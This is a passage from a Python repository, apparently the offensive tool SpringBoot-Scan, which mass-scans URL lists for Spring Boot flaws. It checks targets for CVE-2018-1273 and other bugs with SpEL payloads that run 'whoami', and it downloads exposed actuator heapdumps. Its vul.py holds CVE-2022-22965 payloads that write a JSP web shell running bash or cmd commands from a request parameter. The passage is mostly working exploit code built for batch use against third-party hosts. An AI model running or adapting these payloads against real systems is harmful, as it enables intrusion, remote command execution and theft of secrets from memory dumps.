('127.0.0.2' in str(re1.text)): 320 | cprint(f'[+] [Eureka_Xstream-1] {url}', "red") 321 | f2 = open("vulout.txt", "a") 322 | f2.write("[+] [Eureka_Xstream-1] " + url + '\n') 323 | f2.close() 324 | elif ('127.0.0.2' in str(re2.text)): 325 | cprint(f'[+] [Eureka_Xstream-2] {url}', "red") 326 | f2 = open("vulout.txt", "a") 327 | f2.write("[+] [Eureka_Xstream-2] " + url + '\n') 328 | f2.close() 329 | else: 330 | cprint("[-] 目标 " + url + " 验证Eureka_Xstream反序列化漏洞不存在", "yellow") 331 | except KeyboardInterrupt: 332 | print("Ctrl + C 手动终止了进程") 333 | sys.exit() 334 | except Exception as e: 335 | print("[-] 验证Eureka_Xstream反序列化漏洞发生错误,已记入日志error.log") 336 | f2 = open("error.log", "a") 337 | f2.write(str(e) + '\n') 338 | f2.close() 339 | 340 | def CVE_2018_1273(url,proxies): 341 | Headers = { 342 | "User-Agent": random.choice(ua), 343 | "Content-Type": "application/x-www-form-urlencoded" 344 | } 345 | path1 = 'users' 346 | path2 = 'users?page=0&size=5' 347 | payload1 = "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")]=chybeta&password=chybeta&repeatedPassword=chybeta" 348 | payload2 = "username[#this.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('whoami')\")]=asdf" 349 | try: 350 | requests.packages.urllib3.disable_warnings() 351 | urltest1 = url + path1 352 | urltest2 = url + path2 353 | re1 = requests.get(url=urltest1, headers=Headers, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 354 | code1 = re1.status_code 355 | if ((int(code1) == 200) and ('Users' in str(re1.text))): 356 | cprint(f'[+] [CVE-2018-1273] {url}', "red") 357 | f2 = open("vulout.txt", "a") 358 | f2.write("[+] [CVE-2018-1273] " + url + '\n') 359 | f2.close() 360 | else: 361 | cprint("[-] 目标 " + url + " 验证Spring_Data_Commons远程命令执行漏洞不存在", "yellow") 362 | except KeyboardInterrupt: 363 | print("Ctrl + C 手动终止了进程") 364 | sys.exit() 365 | except Exception as e: 366 | print("[-] 验证Spring_Data_Commons RCE漏洞发生错误,已记入日志error.log") 367 | f2 = open("error.log", "a") 368 | f2.write(str(e) + '\n') 369 | f2.close() 370 | 371 | def FileRead(filename): 372 | try: 373 | f =open(filename) #打开目标文件 374 | f.close() 375 | except FileNotFoundError: 376 | cprint ("未找到同目录下的TXT文件,请确保放在一个目录下", "magenta") #如果未找到文件,输出错误 377 | sys.exit() 378 | except PermissionError: 379 | cprint ("无法读取TXT文件(无权限访问)", "magenta") #如果发现目标文件无权限,输出错误 380 | sys.exit() 381 | 382 | def poc(filename,proxies): 383 | f1 = open("vulout.txt", "wb+") 384 | f1.close() 385 | functions = { 386 | 1: JeeSpring_2023, 387 | 2: CVE_2022_22947, 388 | 3: CVE_2022_22963, 389 | 4: CVE_2022_22965, 390 | 5: CVE_2021_21234, 391 | 6: SnakeYAML_RCE, 392 | 7: Eureka_xstream_RCE, 393 | 8: JolokiaRCE, 394 | 9: CVE_2018_1273, 395 | } 396 | cprint("[+] 获取TXT名字为:" + filename,"green") 397 | FileRead(filename) 398 | cprint("[+] 目前漏洞库内容如下:","green") 399 | for num, func in functions.items(): 400 | print(f" {num}: {func.__name__}") 401 | try: 402 | choices = input("\n请输入要批量检测的漏洞 (例子:1,3,5 直接回车即检测全部漏洞): ") 403 | if choices == '': 404 | choices = "1,2,3,4,5,6,7,8,9" 405 | choices = [int(choice) for choice in choices.split(',')] 406 | except Exception as e: 407 | print("请不要输入无意义的字符串") 408 | sys.exit() 409 | with open(filename, 'r') as temp: 410 | for url in temp.readlines(): 411 | url = url.strip() 412 | if ('://' not in url): 413 | url = str("http://") + str(url) 414 | if str(url[-1]) != "/": 415 | url = url + "/" 416 | try: 417 | requests.packages.urllib3.disable_warnings() 418 | r = requests.get(url, timeout = outtime, verify=False, proxies=proxies) 419 | if r.status_code == 503: 420 | continue 421 | except KeyboardInterrupt: 422 | print("Ctrl + C 手动终止了进程") 423 | sys.exit() 424 | except: 425 | cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!", "magenta") 426 | continue 427 | for choice in choices: 428 | selected_func = functions.get(choice) 429 | if selected_func: 430 | selected_func(url, proxies) 431 | else: 432 | print(f"{choice} 输入错误,请重新输入漏洞选择模块\n") 433 | break 434 | cprint("后续会加入更多漏洞利用模块,请师傅们敬请期待~", "red") 435 | sys.exit() 436 | -------------------------------------------------------------------------------- /inc/proxycheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | from inc import output, run, vul, console 8 | import requests, sys, json 9 | from termcolor import cprint 10 | import requests.packages.urllib3 11 | 12 | requests.packages.urllib3.disable_warnings() 13 | 14 | # 检查代理的使用 15 | def SpringBoot_Scan_Proxy(args): 16 | if args.proxy: 17 | proxies = { 18 | "http": "http://%(proxy)s/" % {'proxy': args.proxy}, 19 | "https": "http://%(proxy)s/" % {'proxy': args.proxy} 20 | } 21 | cprint(f"=====检测代理可用性中=====", "cyan") 22 | testurl = "https://www.baidu.com/" 23 | headers = {"User-Agent": "Mozilla/5.0"} # 响应头 24 | try: 25 | requests.packages.urllib3.disable_warnings() 26 | res = requests.get(testurl, timeout=10, proxies=proxies, verify=False, headers=headers) 27 | print(res.status_code) 28 | # 发起请求,返回响应码 29 | if res.status_code == 200: 30 | print("GET www.baidu.com 状态码为:" + str(res.status_code)) 31 | cprint(f"[+] 代理可用,马上执行!", "cyan") 32 | if args.urlfile: 33 | proxies = f'http://{args.proxy}' 34 | SpringBoot_Scan_Header(args, proxies) 35 | except KeyboardInterrupt: 36 | print("Ctrl + C 手动终止了进程") 37 | sys.exit() 38 | except Exception as e: 39 | print('error:', e) 40 | cprint(f"[-] 代理不可用,请更换代理!", "magenta") 41 | sys.exit() 42 | else: 43 | proxies = '' 44 | SpringBoot_Scan_Header(args, proxies) 45 | 46 | 47 | # 导入自定义HTTP头部 48 | def SpringBoot_Scan_Header(args, proxies): 49 | if args.newheader: 50 | cprint(f"=====正在导入自定义HTTP头部=====", "cyan") 51 | filename = args.newheader 52 | with open(filename, 'r') as file: 53 | lines = file.readlines() 54 | # 创建 JSON 对象 55 | header_json = {} 56 | for line in lines: 57 | # 按照 ':' 分隔每行内容,取前后两部分 58 | parts = line.split(':', 1) 59 | if len(parts) == 2: 60 | key = parts[0].strip() 61 | value = parts[1].strip() 62 | header_json[key] = value 63 | header_new = json.dumps(header_json, indent=2) 64 | print(header_new) 65 | SpringBoot_Scan_Main(args, proxies, header_new) 66 | else: 67 | header_new = '{}' 68 | SpringBoot_Scan_Main(args, proxies, header_new) 69 | 70 | 71 | def SpringBoot_Scan_Main(args, proxies, header_new): 72 | if (args.url or args.urlfile or args.vul or args.vulfile or args.dump or args.zoomeye or args.fofa or args.hunter or args.dumpfile): 73 | console.SpringBoot_Scan_console(args, proxies, header_new) 74 | else: 75 | output.usage() 76 | sys.exit() 77 | -------------------------------------------------------------------------------- /inc/run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | # Fkalis # 6 | ################ 7 | import itertools 8 | from inc import output, console 9 | import requests, sys, random, json, hashlib 10 | from tqdm import tqdm 11 | from termcolor import cprint 12 | from time import sleep 13 | import requests.packages.urllib3 14 | import time 15 | import asyncio 16 | import aiohttp 17 | 18 | requests.packages.urllib3.disable_warnings() 19 | outtime = 10 20 | 21 | ua = [ 22 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", 23 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", 24 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", 25 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", 26 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", 27 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", 28 | "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"] 29 | 30 | 31 | def JSON_handle(header1, header2): 32 | dict1 = json.loads(str(header1).replace("'", "\"")) 33 | dict2 = json.loads(str(header2).replace("'", "\"")) 34 | # 合并两个字典 35 | merged_dict = {**dict1, **dict2} 36 | # 将合并后的字典转换为 JSON 字符串 37 | result_json = json.dumps(merged_dict, indent=2) 38 | return result_json 39 | 40 | def url(urllist, proxies, header_new): 41 | f1 = open("urlout.txt", "wb+") 42 | f1.close() 43 | cprint(f"======开始对目标URL测试SpringBoot信息泄露端点======", "cyan") 44 | sleeps = input("\n是否要延时扫描 (默认0秒): ") 45 | if sleeps == "": 46 | sleeps = int("0") 47 | encountered_hashes = [] 48 | with open("Dir.txt", 'r') as web: 49 | webs = web.readlines() 50 | for web in webs: 51 | web = web.strip() 52 | u = urllist + web 53 | header = {"User-Agent": random.choice(ua)} 54 | newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) 55 | try: 56 | requests.packages.urllib3.disable_warnings() 57 | r = requests.get(url=u, headers=newheader, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 58 | sleep(int(float(sleeps))) 59 | if r.status_code == 503: 60 | sys.exit() 61 | if ((r.status_code == 200) and ('need login' not in r.text) and ('禁止访问' not in r.text) and (len(r.content) != 3318) and ('无访问权限' not in r.text) and ('认证失败' not in r.text)): 62 | content_hash = hashlib.md5(r.content).hexdigest() 63 | if content_hash not in encountered_hashes: 64 | encountered_hashes.append(content_hash) 65 | cprint("[+] 状态码%d" % r.status_code + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(r.content)), "red") 66 | f2 = open("urlout.txt", "a") 67 | f2.write(u + '\n') 68 | f2.close() 69 | else: 70 | cprint("[*] 已存在重复内容的URL:" + u, "magenta") 71 | elif (r.status_code == 200): 72 | cprint("[+] 状态码%d" % r.status_code + ' ' + "但无法获取信息 URL为:" + u + ' ' + "页面长度为:" + str(len(r.content)), "magenta") 73 | else: 74 | cprint("[-] 状态码%d" % r.status_code + ' ' + "无法访问URL为:" + u, "yellow") 75 | except KeyboardInterrupt: 76 | print("Ctrl + C 手动终止了进程") 77 | sys.exit() 78 | except Exception as e: 79 | cprint("[-] URL为 " + u + " 的目标积极拒绝请求,予以跳过!", "magenta") 80 | print(e) 81 | count = len(open("urlout.txt", 'r').readlines()) 82 | if count >= 1: 83 | print('\n') 84 | cprint("[+][+][+] 发现目标URL存在SpringBoot敏感信息泄露,已经导出至 urlout.txt ,共%d行记录" % count, "red") 85 | else: 86 | print('\n') 87 | cprint("[-] 目标URL没有存在SpringBoot敏感信息泄露", "yellow") 88 | sys.exit() 89 | 90 | def get_file(filename): 91 | with open(filename, 'r') as temp: 92 | temps = temp.readlines() 93 | for urls in temps: 94 | url = urls.strip() 95 | yield url 96 | 97 | async def async_dir(url, proxies, header_new, semaphore, sleeps): 98 | try: 99 | tasks = [] 100 | u_list = [] 101 | with open("Dir.txt", 'r') as web: 102 | web_lines = web.readlines() 103 | for web_line in web_lines: 104 | web_line = web_line.strip() 105 | if ('://' not in url): 106 | url = str("http://") + str(url) 107 | if str(url[-1]) != "/": 108 | u = url + "/" + web_line 109 | else: 110 | u = url + web_line 111 | u_list.append(u) 112 | tasks = [asyncio.create_task(file_semaphore(u_dir, proxies, header_new, semaphore, sleeps)) for u_dir in u_list] 113 | result = await asyncio.gather(*tasks) 114 | except Exception as e: 115 | for task in tasks: 116 | if not task.cancelled(): 117 | task.cancel() 118 | cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!", "magenta") 119 | f2 = open("error.log", "a") 120 | f2.write(str(e) + '\n') 121 | f2.close() 122 | 123 | async def file(u, proxies, header_new): 124 | header = {"User-Agent": random.choice(ua)} 125 | newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) 126 | async with aiohttp.ClientSession() as session: 127 | async with session.get(url=u, headers=newheader, proxy=proxies, allow_redirects=False, ssl=False) as r: 128 | conntext = await r.text() 129 | if ((r.status == 200) and ('need login' not in conntext) and ('禁止访问' not in conntext) and (len(conntext) != 3318) and ('无访问权限' not in conntext) and ('认证失败' not in conntext)): 130 | r2 = requests.get(url=u + "QWEASD123", headers=newheader, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 131 | if str(len(conntext)) != str(len(r2.content)): 132 | cprint("[+] 状态码%d" % r.status + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(conntext)), "red") 133 | f2 = open("output.txt", "a") 134 | f2.write(u + '\n') 135 | f2.close() 136 | else: 137 | cprint("[-] 发现重复长度URL为: " + u + ' ' + "页面长度为:" + str(len(conntext)), "magenta") 138 | elif r.status == 200: 139 | cprint( 140 | "[+] 状态码%d" % r.status + ' ' + "但无法获取信息 URL为:" + u + ' ' + "页面长度为:" + str(len(conntext)), "magenta") 141 | else: 142 | cprint("[-] 状态码%d" % r.status + ' ' + "无法访问URL为:" + u, "yellow") 143 | 144 | async def file_semaphore(url, proxies, header_new, semaphore, sleeps): 145 | async with semaphore: 146 | output = await file(url, proxies, header_new) 147 | await asyncio.sleep(int(sleeps)) # 等待4秒 148 | 149 | async def file_main(urlfile, proxies, header_new): 150 | urls_lists = [] 151 | f1 = open("output.txt", "wb+") 152 | f1.close() 153 | cprint("======开始读取目标TXT并测试SpringBoot信息泄露端点======", "cyan") 154 | time_start = time.time() 155 | sleeps = input("\n是否要延时扫描 (默认不延时,必须是整数): ") 156 | if sleeps == "": 157 | sleeps = "0" 158 | else: 159 | sleeps = int(sleeps) 160 | max_concurrency = input("请输入最大并发数 (默认10): ") 161 | if max_concurrency == "": 162 | max_concurrency = 10 163 | else: 164 | max_concurrency = int(max_concurrency) 165 | max_tasks = 100 166 | semaphore = asyncio.Semaphore(max_concurrency) 167 | urls_itr = get_file(urlfile) 168 | while True: 169 | try: 170 | urls_lists = list(itertools.islice(urls_itr, max_tasks)) 171 | if not urls_lists: # 当urls_itr为空时,直接跳出循环 172 | break 173 | tasks = [async_dir(url, proxies, header_new, semaphore, sleeps) for url in urls_lists] 174 | await asyncio.gather(*tasks) 175 | except StopIteration: 176 | break 177 | count = len(open("output.txt", 'r').readlines()) 178 | if count >= 1: 179 | print('\n') 180 | cprint("[+][+][+] 发现目标TXT内存在SpringBoot敏感信息泄露,已经导出至 output.txt ,共%d行记录" % count, "red") 181 | else: 182 | print('\n') 183 | cprint("[-] 目标TXT内没有存在SpringBoot敏感信息泄露", "yellow") 184 | time_end = time.time() # 记录结束时间 185 | time_sum = time_end - time_start # 计算的时间差为程序的执行时间,单位为秒/s 186 | cprint("[+] 批量扫描共耗时 %s 秒" % time_sum, "red") 187 | sys.exit() 188 | 189 | def dump(urllist, proxies, header_new): 190 | def download(url: str, fname: str, proxies: str, newheader): 191 | # 用流stream的方式获取url的数据 192 | requests.packages.urllib3.disable_warnings() 193 | resp = requests.get(url, headers=newheader, timeout = outtime, stream=True, verify=False, proxies=proxies) 194 | # 拿到文件的长度,并把total初始化为0 195 | total = int(resp.headers.get('content-length', 0)) 196 | # 打开当前目录的fname文件(名字你来传入) 197 | # 初始化tqdm,传入总数,文件名等数据,接着就是写入,更新等操作了 198 | with open(fname, 'wb') as file, tqdm( 199 | desc=fname, 200 | total=total, 201 | unit='iB', 202 | unit_scale=True, 203 | unit_divisor=1024, 204 | ) as bar: 205 | for data in resp.iter_content(chunk_size=1024): 206 | size = file.write(data) 207 | bar.update(size) 208 | 209 | cprint("======开始对目标URL测试SpringBoot敏感文件泄露并下载======", "cyan") 210 | # 下载文件,并传入文件名 211 | url1 = urllist + "actuator/heapdump" 212 | url2 = urllist + "heapdump" 213 | url3 = urllist + "heapdump.json" 214 | url4 = urllist + "gateway/actuator/heapdump" 215 | url5 = urllist + "hystrix.stream" 216 | url6 = urllist + "artemis-portal/artemis/heapdump" 217 | header = {"User-Agent": random.choice(ua)} 218 | newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) 219 | 220 | try: 221 | if str(requests.head(url1)) != "": 222 | cprint("[-] 在 /actuator/heapdump 未发现heapdump敏感文件泄露", "yellow") 223 | else: 224 | url = url1 225 | cprint("[+][+][+] 发现 /actuator/heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") 226 | download(url, "heapdump", proxies, newheader) 227 | sys.exit() 228 | if str(requests.head(url2)) != "": 229 | cprint("[-] 在 /heapdump 未发现heapdump敏感文件泄露", "yellow") 230 | else: 231 | url = url2 232 | cprint("[+][+][+] 发现 /heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") 233 | download(url, "heapdump", proxies, newheader) 234 | sys.exit() 235 | if str(requests.head(url3)) != "": 236 | cprint("[-] 在 /heapdump.json 未发现heapdump敏感文件泄露", "yellow") 237 | else: 238 | url = url3 239 | cprint("[+][+][+] 发现 /heapdump.json 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") 240 | download(url, "heapdump.json", proxies, newheader) 241 | sys.exit() 242 | if str(requests.head(url4)) != "": 243 | cprint("[-] 在 /gateway/actuator/heapdump 未发现heapdump敏感文件泄露", "yellow") 244 | else: 245 | url = url4 246 | cprint("[+][+][+] 发现 /gateway/actuator/heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") 247 | download(url, "heapdump", proxies, newheader) 248 | sys.exit() 249 | if str(requests.head(url5)) != ("" or ""): 250 | cprint("[-] 在 /hystrix.stream 未发现hystrix监控数据文件泄露,请手动验证", "yellow") 251 | else: 252 | url = url5 253 | cprint("[+][+][+] 发现 /hystrix.stream 监控数据文件泄露" + ' ' + "下载端点URL为:" + url, "red") 254 | download(url, "hystrix.stream", proxies, newheader) 255 | sys.exit() 256 | if str(requests.head(url6)) != "": 257 | cprint("[-] 在 /artemis-portal/artemis/heapdump 未发现heapdump监控数据文件泄露,请手动验证", "yellow") 258 | else: 259 | url = url6 260 | cprint("[+][+][+] 发现 /artemis-portal/artemis/heapdump 监控数据文件泄露" + ' ' + "下载端点URL为:" + url, 261 | "red") 262 | download(url, "heapdump", proxies, newheader) 263 | sys.exit() 264 | sys.exit() 265 | except KeyboardInterrupt: 266 | print("Ctrl + C 手动终止了进程") 267 | sys.exit() 268 | except Exception as e: 269 | print(f"[-] 下载失败,请手动尝试下载,报错内容为 {e}") 270 | f2 = open("error.log", "a") 271 | f2.write(str(e) + '\n') 272 | f2.close() 273 | sys.exit() 274 | 275 | def dumpfile(input_file, proxies, header_new): 276 | header = {"User-Agent": random.choice(ua)} 277 | newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) 278 | paths = ["actuator/heapdump", "heapdump", "heapdump.json", "gateway/actuator/heapdump", "hystrix.stream", "artemis-portal/artemis/heapdump"] 279 | with open(input_file, 'r') as web: 280 | urls = web.readlines() 281 | processed_urls = [] 282 | for url in urls: 283 | if ('://' not in url): 284 | url = "http://" + url 285 | if str(url[-1]) != "/": 286 | url += "/" 287 | processed_urls.append(url) 288 | valid_urls = [] 289 | 290 | cprint(f"======开始读取目标TXT并扫描SpringBoot信息文件端点======", "cyan") 291 | sleeps = input("\n是否要延时扫描 (默认0秒): ") 292 | if sleeps == "": 293 | sleeps = int("0") 294 | for url in processed_urls: 295 | try: 296 | for path in paths: 297 | full_url = f"{url.rstrip('/')}/{path.lstrip('/')}" 298 | full_url = full_url.replace("\n", "") 299 | try: 300 | requests.packages.urllib3.disable_warnings() 301 | headnumber = str(requests.head(full_url, timeout=5, verify=False, proxies=proxies, headers=newheader)) 302 | sleep(int(float(sleeps))) 303 | if headnumber == "": 304 | cprint("[+] 发现SpringBoot敏感文件泄露,地址为 " + full_url, "red") 305 | valid_urls.append(full_url) 306 | else: 307 | cprint("[-] 没有发现SpringBoot敏感文件泄露,地址 " + str(full_url) + " 状态码为 " + str(headnumber), "yellow") 308 | except KeyboardInterrupt: 309 | print("Ctrl + C 手动终止了进程") 310 | sys.exit() 311 | except Exception as e: 312 | print(f"[-] 访问 {full_url} 出现错误,报错错误日志为 error.log") 313 | raise 314 | f2 = open("error.log", "a") 315 | f2.write(str(e) + '\n') 316 | f2.close() 317 | except Exception as e: 318 | print(f"[.] 正在跳过该报错URL") 319 | continue 320 | 321 | with open("dumpout.txt", 'w') as f: 322 | for valid_url in valid_urls: 323 | f.write(valid_url + '\n') 324 | count = len(open("dumpout.txt", 'r').readlines()) 325 | if count >= 1: 326 | print('\n') 327 | cprint("[+][+][+] 发现目标TXT内存在SpringBoot敏感文件泄露,已经导出至 dumpout.txt ,共%d行记录" % count, "red") 328 | else: 329 | cprint("[-] 读取指定TXT没有存在SpringBoot敏感文件泄露", "yellow") 330 | sys.exit() 331 | -------------------------------------------------------------------------------- /inc/springcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | from inc import output,run,vul,console 8 | import requests, sys, hashlib, json 9 | from termcolor import cprint 10 | import requests.packages.urllib3 11 | requests.packages.urllib3.disable_warnings() 12 | outtime = 10 13 | 14 | def Spring_Check(url,proxies,header_new): 15 | cprint("[.] 正在进行Spring的指纹识别","cyan") 16 | Spring_hash = "0488faca4c19046b94d07c3ee83cf9d6" 17 | Paths = ["favicon.ico", "AabyssZG666"] 18 | check_status = 0 19 | for path in Paths: 20 | test_url = str(url) + path 21 | r = requests.get(test_url, timeout = outtime, verify=False, headers=header_new, proxies=proxies) 22 | try: 23 | content_type = r.headers.get("Content-Type", "") 24 | if r.text and ('timestamp' in r.text): 25 | cprint("[+] 站点报错内容符合Spring特征,识别成功","red") 26 | check_status = 1 27 | elif "image" in content_type or "octet-stream" in content_type: 28 | favicon_hash = hashlib.md5(r.content).hexdigest() 29 | if favicon_hash == Spring_hash: 30 | cprint("[+] 站点Favicon是Spring图标,识别成功","red") 31 | check_status = 1 32 | while check_status == 0: 33 | cprint("[-] 站点指纹不符合Spring特征,可能不是Spring框架","yellow") 34 | check_status = 2 35 | except KeyboardInterrupt: 36 | print("Ctrl + C 手动终止了进程") 37 | sys.exit() 38 | except Exception as e: 39 | print("[-] 发生错误,已记入日志error.log\n") 40 | f2 = open("error.log", "a") 41 | f2.write(str(e) + '\n') 42 | f2.close() 43 | 44 | def check(url,proxies,header_new): 45 | header_new = json.loads(header_new) 46 | if ('://' not in url): 47 | url = str("http://") + str(url) 48 | if str(url[-1]) != "/": 49 | url = url + "/" 50 | try: 51 | requests.packages.urllib3.disable_warnings() 52 | r = requests.get(url, timeout = outtime, verify=False, headers=header_new, proxies=proxies) # 设置超时6秒 53 | if (r.status_code == 503) or (r.status_code == 502): 54 | cprint("[-] 网页状态码为503或502", "magenta") 55 | sys.exit() 56 | else: 57 | Spring_Check(url,proxies,header_new) 58 | return url 59 | except KeyboardInterrupt: 60 | print("Ctrl + C 手动终止了进程") 61 | sys.exit() 62 | except Exception as e: 63 | cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!已记入日志error.log", "magenta") 64 | f2 = open("error.log", "a") 65 | f2.write(str(e) + '\n') 66 | f2.close() 67 | sys.exit() 68 | -------------------------------------------------------------------------------- /inc/vul.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | import requests, sys, json, re, random, base64 8 | from termcolor import cprint 9 | from time import sleep 10 | import urllib3 11 | urllib3.disable_warnings() 12 | outtime = 10 13 | 14 | ua = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", 15 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", 16 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", 17 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", 18 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", 19 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", 20 | "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"] 21 | 22 | def JSON_handle(header1, header2): 23 | dict1 = json.loads(str(header1).replace("'", "\"")) 24 | dict2 = json.loads(str(header2).replace("'", "\"")) 25 | # 合并两个字典 26 | merged_dict = {**dict1, **dict2} 27 | # 将合并后的字典转换为 JSON 字符串 28 | result_json = json.dumps(merged_dict, indent=2) 29 | return result_json 30 | 31 | def CVE_2022_22965(url, proxies, header_new): 32 | cprint("======开始对目标URL进行CVE-2022-22965漏洞利用======", "green") 33 | oldHeaders_1 = { 34 | "User-Agent": random.choice(ua), 35 | "prefix": "<%", 36 | "suffix": "%>//", 37 | "c": "Runtime", 38 | "c1": "Runtime", 39 | "c2": "<%", 40 | "DNT": "1", 41 | } 42 | oldHeaders_2 = { 43 | "User-Agent": random.choice(ua), 44 | "Content-Type": "application/x-www-form-urlencoded" 45 | } 46 | Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) 47 | Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) 48 | payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 49 | payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 50 | payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 51 | payload_other = 